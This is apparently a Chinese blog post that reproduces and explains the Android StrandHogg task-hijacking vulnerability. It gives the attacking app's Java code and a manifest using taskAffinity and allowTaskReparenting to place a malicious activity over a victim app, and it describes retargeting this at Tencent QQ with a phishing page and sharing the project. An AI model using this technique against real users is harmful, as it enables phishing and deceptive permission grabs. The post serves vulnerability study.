【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗
文章作者MG1937
CNBLOG博客:ALDYS4
QQ:3496925334
0x00 StrandHogg漏洞详情

StrandHogg漏洞 CVE编号:暂无
[漏洞危害]
近日,Android平台上发现了一个高危漏洞
该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限
或者进行恶意钓鱼攻击
由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前
使得用户并没有意识到自己已经遭到攻击
[漏洞影响Android版本]
至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10
[漏洞利用条件]
几乎无条件即可利用此漏洞,即使在无Root机型上利用此漏洞也轻而易举
目前已发现36个应用恶意利用该漏洞进行攻击
0x01 漏洞复现
接下来我将新建一个完全合法的项目和一个攻击此合法App的恶意项目
并且让恶意软件劫持合法App,使恶意活动插入到合法活动之前,实现攻击目的
编译一个合法空项目并安装在手机上
项目命名为BeAttacked
包名:com.victim.app
其UI只有一个TextView控件,并且显示Hello World这段字符
该空项目假设为攻击者欲攻击的合法App
接下来新建一个利用此漏洞的恶意软件项目,命名为Attack
布局代码
activity_main.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">
</textview></linearlayout>
如上述布局代码所示,该布局将只显示Innocent这段字符
新建一个布局,并且假设这个新建的布局为恶意活动显示的布局
attack.xml
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">
</textview></linearlayout>
同理,该布局将只显示 Attack Success! 这段字符
接下来新建Innocent类和Attack类,两个类分别显示activity_main和attack这两个布局
我们假设Attack这个类为恶意活动,我不想让用户在启动恶意软件时看到恶意活动而怀疑软件的真实意图
我想让用户在启动软件时只看到无害的活动,从而隐藏软件的真实意图,那么要如何实现呢
我可以预先启动Attack类,紧接着启动Innocent类,这样用户在页面上只能看见最顶层的Innocent类,而不是恶意活动
MainActivity类
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动
finish();
}
}
接下来分析代码
我让程序创建了成员变量分别为innocent,attack的两个Intent对象
attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag
带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响
其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag
带有该Flag的Intent创建的活动将不显示过度动画
接着我调用了startActivities方法先后启动attack和innocent这两个活动
注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层
所以用户最终看到的活动只有Innocent这个无害活动
而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性
代码已经编写完毕,还有一个问题,攻击者要怎么利用漏洞使得恶意活动插入在合法活动之前呢?
在AndroidManifest.xml中编辑代码
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true
-->
代码中,恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true,这两个属性设置完成后就能使得恶意活动插入到合法活动前了,
为什么这么设置?这就涉及到任务相似性和是否允许活动转移的问题了,这个后面讲,先复现漏洞
编译恶意软件,先打开恶意软件,使得恶意活动在后台就绪,接着再打开欲攻击的合法app
可以发现合法活动已经被恶意活动替代了!
接下来看复现漏洞的GIF图

漏洞成功复现!
0x02 漏洞原理分析
此漏洞利用涉及到任务栈问题,稍微复杂,所以我画了一张图来阐述为什么恶意活动可以插入到合法活动前
在分析之前请先读图,帮助理解

读完图首先就是要理解allowTaskReparenting这个属性的作用是什么
官方文档如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent
官方文档的解释:当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)
我对官方文档的理解:
假设存在一个任务栈,将此任务栈命名为Task_1
Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见
假设Activity_1的allowTaskReparenting属性为true
Activity_2的allowTaskReparenting属性为默认值false
当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台
但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1,
而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了
理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了
taskAffinity直接翻译过来就是任务相关性,
官方文档对该属性的解释为:
从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。
而确定应用相似性的属性就是taskAffinity
首先要知道,若应用没有特别定义taskAffinity的内容的话
则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中
重新查看恶意活动的清单文件代码
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中
需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈
这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了
接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台
至此,整个攻击流程结束
0x03 漏洞利用及其危害
在0x01中,我已经完成了漏洞复现
为了展现出该漏洞的具体危害,我对复现过程中的Attack类及其布局进行了修改
将Attack类的taskAffinity属性改为腾讯QQ的包名,编译并安装

可以看到我将恶意活动的布局修改为钓鱼页面,真正展现出这个漏洞的危害性
攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击

最后放出我修改过的恶意软件项目:
StrandHogg.zip 提取码: hci6
【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗的更多相关文章
- [原创]Android Studio的Instant Run(即时安装)原理分析和源码浅析
Android Studio升级到2.0之后,新增了Instant Run功能,该功能可以热替换apk中的部分代码,大幅提高测试安装的效率. 但是,由于我的项目中自定义了一些ClassLoader,当 ...
- Android中为APP创建快捷方式的原理(自己的理解)
我们首先来看Android中为APP创建快捷方式的原理: 从图上可以看出,Android大致分7步完成快捷方式的创建: 第一步:Android系统的launcher程序会调用它的pickShortcu ...
- ScrollView嵌套ListView,ListView完全展开及makeMeasureSpec测量机制原理分析
在实际应用中,经常会碰到非常规的布局要求,比如说在ScrollView里嵌套ListView,ScrollView和ListView都是可以滚动的控件,这样布局看似很奇怪,但是有些效果又不得不这样做. ...
- Firmware 加载原理分析【转】
转自:http://blog.csdn.net/dxdxsmy/article/details/8669840 [-] 原理分析 实现机制 总结 前言 前段时间移植 wifi 驱动到 Androi ...
- iOS App Crash原理分析
预备知识:OS X系统分析 1.内核XNU是Darwin的核心,也是整个OS X的核心.XNU本身由以下几个组件构成: Mach微核心 BSD层 libKern I/O Kit 此外,内核是模块化的, ...
- 通过qemu复现路由器漏洞
目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...
- ActiveMQ反序列化漏洞(CVE-2015-5254)复现
0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...
- Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】
零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...
- Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...
随机推荐
- JSON和JSONP的区别及使用方法
JSON(JavaScript Object Notation)和JSONP(JSON with Padding)虽然只有一个字母的差别,但其实他们根本不是一回事儿:JSON是一种数据交换格式,而JS ...
- 初入MongoDB
初入MongoDB 业务需求,需要用到MongoDB.向来一直是mysql数据库的思想,一下转换为nosql还是很不适应.经过一个月的开发,写一下自己的感触.本文会对应mysql数据库进行说明. 数据 ...
- 【python】Leetcode每日一题-丑数2
[python]Leetcode每日一题-丑数2 [题目描述] 给你一个整数 n ,请你找出并返回第 n 个 丑数 . 丑数 就是只包含质因数 2.3 和/或 5 的正整数. 示例1: 输入:n = ...
- 内存回收导致关键业务抖动案例分析-论云原生OS内存QoS保障
蒋彪,腾讯云高级工程师,10+年专注于操作系统相关技术,Linux内核资深发烧友.目前负责腾讯云原生OS的研发,以及OS/虚拟化的性能优化工作. 导语 云原生场景,相比于传统的IDC场景,业务更加复杂 ...
- 电脑提示无法装入/加载SolidWorks DLL文件:sldshellutils如何解决
电脑提示无法装入/加载SolidWorks DLL文件:sldshellutils如何解决 参考资料:http://www.xitongcheng.com/jiaocheng/dnrj_article ...
- 巧用SQL拼接语句
前言: 在日常数据库运维过程中,可能经常会用到各种拼接语句,巧用拼接SQL可以让我们的工作方便很多,达到事半功倍的效果.本篇文章将会分享几个日常会用到的SQL拼接案例,类似的SQL还可以举一反三,探索 ...
- opencv打开摄像头获取视频程序
// // main.cpp // opencv3 // // Created by PKU on 14-9-16. // Copyright (c) 2014年 PKU. All rights re ...
- 如何理解PaaS平台,与SaaS、IaaS有什么区别?
我们经常会看到SaaS.PaaS.IaaS,但总是会摸不着头脑,有的人甚至会以为是恐怖组织的代号.其实,无论是SaaS.PaaS还是IaaS,都代表的是某一种服务,比如SaaS的含义为"软件 ...
- 10.Debug
1.Debug模式 1.1 什么是Debug模式 是供程序员使用的程序调试工具,它可以用于查看程序的执行流程,也可以用于追踪程序执行过程来调试程序. 1.2 Debug介绍与操作流程 Debug调式, ...
- zabbix监控之用户及用户组
一.概述 Zabbix 中的所有用户都通过 Web 前端去访问 Zabbix 应用程序.并为每个用户分配唯一的登陆名和密码. 所有用户的密码都被加密并储存于 Zabbix 数据库中.用户不能使用其用户 ...